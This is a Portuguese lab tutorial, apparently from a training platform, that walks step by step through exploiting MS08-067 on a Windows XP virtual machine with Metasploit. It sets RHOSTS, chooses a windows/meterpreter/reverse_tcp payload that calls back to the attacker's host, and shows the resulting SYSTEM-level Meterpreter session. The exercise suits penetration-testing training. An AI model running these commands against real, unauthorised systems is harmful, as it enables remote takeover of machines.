Explorar MS08-067 em um Alvo Windows XP no Metasploit

Kali LinuxBeginner
Pratique Agora

Introdução

Neste laboratório, você aprenderá a usar o Metasploit Framework para explorar uma das vulnerabilidades mais conhecidas do Windows, a MS08-067. Esta vulnerabilidade existe no Serviço de Servidor (Server Service) em sistemas Windows e pode permitir a execução remota de código.

Você usará o Metasploit, uma poderosa ferramenta de teste de penetração, para selecionar, configurar e lançar um exploit contra uma máquina Windows XP alvo. Ao final deste laboratório, você terá obtido uma sessão Meterpreter na máquina alvo, concedendo-lhe controle remoto.

Para este laboratório, o ambiente está pré-configurado com duas máquinas:

  • Sua máquina atacante (esta VM Ubuntu), com endereço IP 192.168.1.100.
  • Uma máquina alvo vulnerável Windows XP, com endereço IP 192.168.1.101.

Você realizará todas as ações a partir do terminal em sua máquina atacante.

Selecionar o módulo de exploit ms08_067_netapi

Nesta etapa, você iniciará o console do Metasploit e selecionará o módulo de exploit apropriado para a vulnerabilidade MS08-067.

Primeiro, abra um terminal. Todos os comandos serão executados aqui. O Metasploit Framework vem com uma interface de linha de comando chamada msfconsole. Vamos iniciá-la com o sinalizador -q (quiet) para suprimir o banner.

msfconsole -q

Assim que carregar, você verá o prompt do Metasploit, que se parece com msf6 >. Agora, você pode procurar o módulo de exploit relacionado a ms08-067.

search ms08-067

Você verá uma lista de módulos correspondentes. O que nos interessa é exploit/windows/smb/ms08_067_netapi.

Matching Modules
================

   ##  Name                                 Disclosure Date  Rank       Check  Description
   -  ----                                 ---------------  ----       -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great      Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption

Para usar este exploit, digite o comando use seguido pelo nome do módulo.

use exploit/windows/smb/ms08_067_netapi

Seu prompt mudará para indicar que você agora está dentro do contexto deste módulo de exploit específico.

msf6 exploit(windows/smb/ms08_067_netapi) >

Definir a opção RHOSTS para o alvo Windows XP

Nesta etapa, você configurará o módulo de exploit definindo o endereço IP do alvo. A maioria dos exploits precisa saber quem atacar. No Metasploit, o endereço do alvo é definido usando a opção RHOSTS (Remote Hosts).

Primeiro, vamos visualizar as opções disponíveis para este exploit usando o comando show options.

show options

Você verá uma tabela de opções que podem ser configuradas. Observe que RHOSTS é obrigatório, mas ainda não está definido.

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    445              yes       The target port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

...

Agora, defina a opção RHOSTS para o endereço IP do nosso alvo Windows XP, que é 192.168.1.101.

set RHOSTS 192.168.1.101

O Metasploit confirmará a alteração.

RHOSTS => 192.168.1.101

Agora você informou ao Metasploit qual máquina deve ser o alvo.

Selecionar um payload reverse TCP como windows/meterpreter/reverse_tcp

Nesta etapa, você selecionará um payload a ser entregue ao sistema alvo após um exploit bem-sucedido. Um payload é o código que será executado na máquina alvo. Usaremos o Meterpreter, que é um payload poderoso e flexível que fornece um shell interativo.

O payload windows/meterpreter/reverse_tcp forçará a máquina alvo comprometida a se conectar de volta a você (o atacante). Isso geralmente é mais bem-sucedido em cenários do mundo real onde firewalls podem bloquear conexões diretas ao alvo.

Para definir o payload, use o comando set payload.

set payload windows/meterpreter/reverse_tcp

O Metasploit confirmará que o payload foi definido.

payload => windows/meterpreter/reverse_tcp

Agora que o payload foi selecionado, você precisará configurar suas opções na próxima etapa.

Definir as opções de payload LHOST e LPORT

Agora que você selecionou um payload reverso, precisa configurá-lo para se conectar de volta à sua máquina. Isso requer a definição de duas opções principais: LHOST e LPORT.

  • LHOST (Local Host): Este é o endereço IP da sua máquina atacante, para onde o payload deve se conectar de volta.
  • LPORT (Local Port): Esta é a porta em sua máquina que aguardará a conexão de entrada do alvo.

Conforme mencionado na introdução, o IP da sua máquina atacante é 192.168.1.100. Vamos definir LHOST para este valor.

set LHOST 192.168.1.100

Você verá uma confirmação:

LHOST => 192.168.1.100

Em seguida, vamos definir a porta de escuta. Uma escolha comum é 4444.

set LPORT 4444

Novamente, você verá uma confirmação:

LPORT => 4444

Você pode executar show options novamente para verificar se todas as opções necessárias (RHOSTS, LHOST, LPORT) estão agora corretamente definidas.

Executar o exploit e obter uma sessão Meterpreter

Com todas as opções configuradas, você está pronto para lançar o exploit. Esta é a etapa final onde você tentará comprometer o sistema alvo.

Para lançar o ataque, simplesmente use o comando exploit.

exploit

O Metasploit tentará explorar a vulnerabilidade. Se for bem-sucedido, você verá uma saída semelhante à seguinte. Ele detectará automaticamente o SO alvo, enviará o exploit e, em seguida, enviará o payload.

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.101:445 - Automatically detecting the target...
[*] 192.168.1.101:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.101:445 - Selected Target: Windows XP SP3 English (AlwaysOn)
[*] 192.168.1.101:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179779 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:1035) at 2023-10-27 10:30:00 -0400

meterpreter >

Observe a última linha: Meterpreter session 1 opened. Seu prompt de comando mudou para meterpreter >. Isso significa que você comprometeu com sucesso o alvo e tem uma sessão ativa.

Para verificar seu acesso, execute um comando como getuid para ver com qual usuário você está executando no sistema alvo.

getuid

A saída mostrará que você tem o nível mais alto de privilégios.

Server username: NT AUTHORITY\SYSTEM

Parabéns, você explorou com sucesso o MS08-067!

Resumo

Neste laboratório, você usou com sucesso o Metasploit Framework para explorar a vulnerabilidade MS08-067 em um alvo Windows XP.

Você seguiu o fluxo de trabalho fundamental de um teste de penetração:

  1. Selecionou um módulo de exploit específico (exploit/windows/smb/ms08_067_netapi).
  2. Configurou o exploit definindo o endereço do alvo (RHOSTS).
  3. Escolheu um payload (windows/meterpreter/reverse_tcp) para obter controle.
  4. Configurou o payload com seu host e porta locais (LHOST, LPORT).
  5. Lançou o exploit e obteve uma sessão Meterpreter de alto privilégio no alvo.

Este exercício demonstra o poder e a simplicidade de usar um framework como o Metasploit para testar e explorar vulnerabilidades de sistema.